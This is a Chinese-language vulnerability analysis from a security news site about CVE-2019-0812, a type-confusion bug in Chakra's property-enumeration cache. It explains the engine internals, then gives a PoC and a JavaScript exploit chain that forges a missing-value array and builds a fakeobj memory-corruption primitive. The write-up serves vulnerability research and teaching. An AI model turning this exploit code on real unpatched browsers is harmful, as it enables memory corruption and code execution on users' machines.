Chakra脚本引擎内存破坏漏洞分析(CVE-2019-0812) - 嘶吼 RoarTalk – 网络安全行业综合服务平台,4hou.com

Chakra脚本引擎内存破坏漏洞分析(CVE-2019-0812)

h1apwn 新闻 2019-09-29 10:09:13
288297
收藏

导语: 在Chakra中,javascript代码最初通过解释器运行,然后在最终被调度用于JIT编译时重复调用函数。为了加速解释器中的执行,可以缓存某些操作(如属性读取和写入),以避免每次访问给定属性时进行类型查找。本质上,这些`Cache`对象将属性名称与索引相关联以检索属性或写入属性。

漏洞分析

与其他引擎一样,JavaScript对象a在内部表示为DynamicObject,并且它们不会将自己的属性名称映射为属性值。相反,它们只维护属性值并且有一个type字段,该字段指向一个Type对象,该对象能够将属性名称映射到属性值数组中的索引。

在Chakra中,JavaScript代码最初通过解释器运行,然后在最终被调度用于JIT编译时重复调用函数。为了加速解释器中的执行,可以缓存某些操作(如属性读取和写入),以避免每次访问给定属性时进行类型查找。本质上,这些Cache对象将属性名称与索引相关联以检索属性或写入属性。

可以导致使用这种高速缓存的操作之一是通过for .. in循环的属性枚举。属性枚举最终将到达枚举对象的类型处理程序中的以下代码:

 template<size_t size>
 BOOL SimpleTypeHandler<size>::FindNextProperty(ScriptContext* scriptContext, PropertyIndex& index, JavascriptString** propertyStringName,
     PropertyId* propertyId, PropertyAttributes* attributes, Type* type, DynamicType *typeToEnumerate, EnumeratorFlags flags, DynamicObject* instance, PropertyValueInfo* info)
 {
     Assert(propertyStringName);
     Assert(propertyId);
     Assert(type);
 
     for( ; index < propertyCount; ++index )
     {
         PropertyAttributes attribs = descriptors[index].Attributes;
         if( !(attribs & PropertyDeleted) && (!!(flags & EnumeratorFlags::EnumNonEnumerable) || (attribs & PropertyEnumerable)))
         {
             const PropertyRecord* propertyRecord = descriptors[index].Id;
 
             // Skip this property if it is a symbol and we are not including symbol properties
             if (!(flags & EnumeratorFlags::EnumSymbols) && propertyRecord->IsSymbol())
             {
                 continue;
             }
 
             if (attributes != nullptr)
             {
                 *attributes = attribs;
             }
 
             *propertyId = propertyRecord->GetPropertyId();
             PropertyString * propStr = scriptContext->GetPropertyString(*propertyId);
             *propertyStringName = propStr;
 
             PropertyValueInfo::SetCacheInfo(info, propStr, propStr->GetLdElemInlineCache(), false);
             if ((attribs & PropertyWritable) == PropertyWritable)
             {
                 PropertyValueInfo::Set(info, instance, index, attribs); // [[ 1 ]]
             }
             else
             {
                 PropertyValueInfo::SetNoCache(info, instance);
             }
             return TRUE;
         }
     }
     PropertyValueInfo::SetNoCache(info, instance);
 
     return FALSE;
 }

有两个有趣的事情需要注意:第一个是,在PropertyValueInfo中,index并attribs同时又有调用此方法的两个Type对象:type和typeToEnumerate。

该PropertyValueInfo是用于创建void CacheOperators::CachePropertyRead属性的。

这里要实现的特殊之处在于,在FindNextProperty代码中,即使将两个Type对象作为参数传递,PropertyValueInfo对象也会随时更新。如果这两种类型不同怎么办?这是否意味着缓存信息会针对错误的类型进行更新?

事实证明,这正是漏洞所在,以下PoC说明了这种行为:

 function poc(v) {
  var tmp = new String("aa");
  tmp.x = 2;
  once = 1;
  for (let useless in tmp) {
   if (once) {
    delete tmp.x;
    once = 0;
   }
   tmp.y = v;
   tmp.x = 1;
  }
  return tmp.x;
 }
 
 console.log(poc(5));

如果看一下这段代码,希望它能够1打印,但它会打印5出来。所以似乎通过执行return tmp.x,它将获取属性的有效值tmp.y。

观察FindNextProperty代码:当delete tmp.x再设置tmp.y和tmp.x,最终tmp.y索引0和tmp.x索引1的对象。但是,在枚举的初始类型中,tmp.x是在索引0处。因此,新类型的缓存信息将更新为tmp.x is at offset 0,在执行时执行直接索引访问return tmp.x。

要利用这个漏洞,需要使用JIT编译器来帮助我们。

利用条件

JIT代码中的内联缓存

为了优化属性访问,JIT代码可以依赖Cache对象生成Type检查序列,然后在类型匹配时进行直接属性访问。

对应于以下指令序列:

 type = object.type
 cachedType = Cache.cachedType
 if type == cachedType:
     index = Cache.propertyIndex
     property = object.properties[index]
 else:
     property = Runtime::GetProperty(object, propertyName)

在JIT编译器中加入推理算法和范围分析

Chakra的JIT编译器在使用最高级别的JIT编译器时使用正向传递算法来执行优化。该算法适用于控制流图(CFG)并以正向方向访问每个块。作为处理新块的第一步,将合并在其每个前块处收集的信息。

使用以下示例显示此行为:

 function opt(flag) {
     let tmp = {};
     tmp.x = 1;
     if (flag) {
         tmp.x = 2;
     }
     
     ...
 }

大致对应于以下CFG:

 function opt(flag) {
     // Block 1
     let tmp = {};
     tmp.x = 1;
     if (flag) {
     // End of Block 1, Successors 2, 3
 
         // Block 2: Predecessor 1    
         tmp.x = 2;
         // End of Block 2: Successor 3
     
     }
 
     // Block 3: Predecessors 1, 2
 }

当JIT开始处理块3,将合并块1,它指定的类型的信息tmp.x的类型是integer in the range [1,1],从块2的类型的信息,指定tmp.x的类型的integer in the range [2,2]。

这些类型的integer in the range [1,2]并集将被分配给tmp.x块3开头的值。

Chakra中的数组

数组通常是重度优化的目标,在Chakra中,大多数阵列具有三种不同的存储模式之一:

· NativeIntArray:每个元素都存储为4字节整数。

· NativeFloatArray:每个元素都存储为8字节浮点数。

· JavascriptArray:每个元素都以其默认形式1存储(存储为0x0001000000000001)。

在此存储模式之上,该对象将携带有关可帮助进一步优化的阵列的信息。HasNoMissingValues标志,表示index 0和之间的每个值都做了length - 1设置。

定义的RuntimeCommon.h如下

     const uint64 VarMissingItemPattern = 0x00040002FFF80002;
     const uint64 FloatMissingItemPattern = 0xFFF80002FFF80002;
     const int32 IntMissingItemPattern = 0xFFF80002;

如果你能够创建一个值并且HasNoMissingValues设置了标志的数组,那么就可以利用成功了,从现在开始可以使用现成的漏洞利用技术

BailOutConventionalNativeArrayAccessOnly

在优化数组存储操作时,JIT将使用类型信息来检查此存储是否可能产生缺失值。如果JIT无法确定不是这种情况,它将使用指令生成缺失值检查。

这些操作由StElem指令IR表示,上述描述将在GlobOpt::TypeSpecializeStElem(IR::Instr ** pInstr, Value *src1Val, Value **pDstVal)方法中进行。此方法的代码太多主要逻辑如下:

 bool bConvertToBailoutInstr = true;
 // Definite StElemC doesn't need bailout, because it can't fail or cause conversion.
 if (instr->m_opcode == Js::OpCode::StElemC && baseValueType.IsObject())
 {
     if (baseValueType.HasIntElements())
     {
         //Native int array requires a missing element check & bailout
         int32 min = INT32_MIN;
         int32 max = INT32_MAX;
 
         if (src1Val->GetValueInfo()->GetIntValMinMax(&min, &max, false)) // [[ 1 ]]
         {
             bConvertToBailoutInstr = ((min <= Js::JavascriptNativeIntArray::MissingItem) && (max >= Js::JavascriptNativeIntArray::MissingItem)); // [[ 2 ]]
         }
     }
     else
     {
         bConvertToBailoutInstr = false;
     }
 }

我们可以看到它获取了valueInfoat 的下限和上限,然后检查是否可以删除bConvertToBailoutInstr == false。

漏洞利用链

我们可以创建一个浏览器引擎不知道的缺失值的数组。为了实现这一点,我们使用漏洞来生成Cache 有关对象的某个属性位置的错误信息,这将导致JIT执行的类型推断和范围分析的错误结果。因此,我们可以分配一个不包含缺失值的数组。以下代码说明了这一点:

 function opt(index) {
  var tmp = new String("aa");
  tmp.x = 2;
  once = 1;
  for (let useless in tmp) {
   if (once) {
    delete tmp.x;
    once = 0;
   }
   tmp.y = index;
   tmp.x = 1;
  }
  return [1, tmp.x - 524286]; // forge missing value 0xfff80002 [[ 1 ]]
 }
 
 for (let i = 0; i < 0x1000; i++) {
  opt(1);
 }
 
 evil = opt(0);
 evil[0] = 1.1;

上面的代码是JIT假设tmp.x是在范围内[1, 2]的。然后它将优化数组创建,因为它推断既不是1 - 524286也不是2 - 524286是缺失值。然而,通过使用这个漏洞,tmp.x将0设为有效,因此tmp.x - 524286将导致0xfff80002是IntMissingItemPattern。然后我们设置一个简单的float来将这个数组转换为 NativeFloatArray。

下面的代码展示了fakeobj从这里派生:

var convert = new ArrayBuffer(0x100); var u32 = new Uint32Array(convert); var f64 = new Float64Array(convert); var BASE = 0x100000000; function hex(x) {     return `0x${x.toString(16)}` } function i2f(x) {     u32[0] = x % BASE;     u32[1] = (x - (x % BASE)) / BASE;     return f64[0]; } function f2i(x) {     f64[0] = x;     return u32[0] + BASE * u32[1]; } // The bug lets us update the CacheInfo for a wrong type so we can create a faulty inline cache. // We use that to confuse the JIT into thinking that the ValueInfo for tmp.x is either 1 or 2 // when in reality our bug will let us write to tmp.x through tmp.y. // We can use that to forge a missing value array with the HasNoMissingValues flag function opt(index) { var tmp = new String("aa"); tmp.x = 2; once = 1; for (let useless in tmp) { if (once) { delete tmp.x; once = 0; } tmp.y = index; tmp.x = 1; } return [1, tmp.x - 524286]; // forge missing value 0xfff80002 } for (let i = 0; i < 0x1000; i++) { opt(1); } evil = opt(0); evil[0] = 1.1; // evil is now a NativeFloatArray with a missing value but the engine does not know it  function fakeobj(addr) {     function opt2(victim, magic_arr, hax, addr){         let magic = magic_arr[1];         victim[0] = 1.1;         hax[0x100] = magic;   // change float Array to Var Array         victim[0] = addr;   // Store unboxed double to Var Array     }     for (let i = 0; i < 10000; i++){         let ary = [2,3,4,5,6.6,7,8,9];         delete ary[1];         opt2(ary, [1.1,2.2], ary, 1.1);     }     let victim = [1.1,2.2];     opt2(victim, evil, victim, i2f(addr));     return victim[0]; } print(fakeobj(0x12345670));

结论

该漏洞之前已经得到了修复。正如我们所看到的,即使漏洞存在于解释器中,JIT编译器也仍然提供了一定程度的自由,在某些情况下是可以被利用的。

希望你喜欢这篇文章,谢谢。

  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论

 
本站4hou.com,所使用的字体和图片文字等素材部分来源于原作者或互联网共享平台。如使用任何字体和图片文字有侵犯其版权所有方的,嘶吼将配合联系原作者核实,并做出删除处理。
©2022 北京嘶吼文化传媒有限公司 京ICP备16063439号-1 本站由 提供云计算服务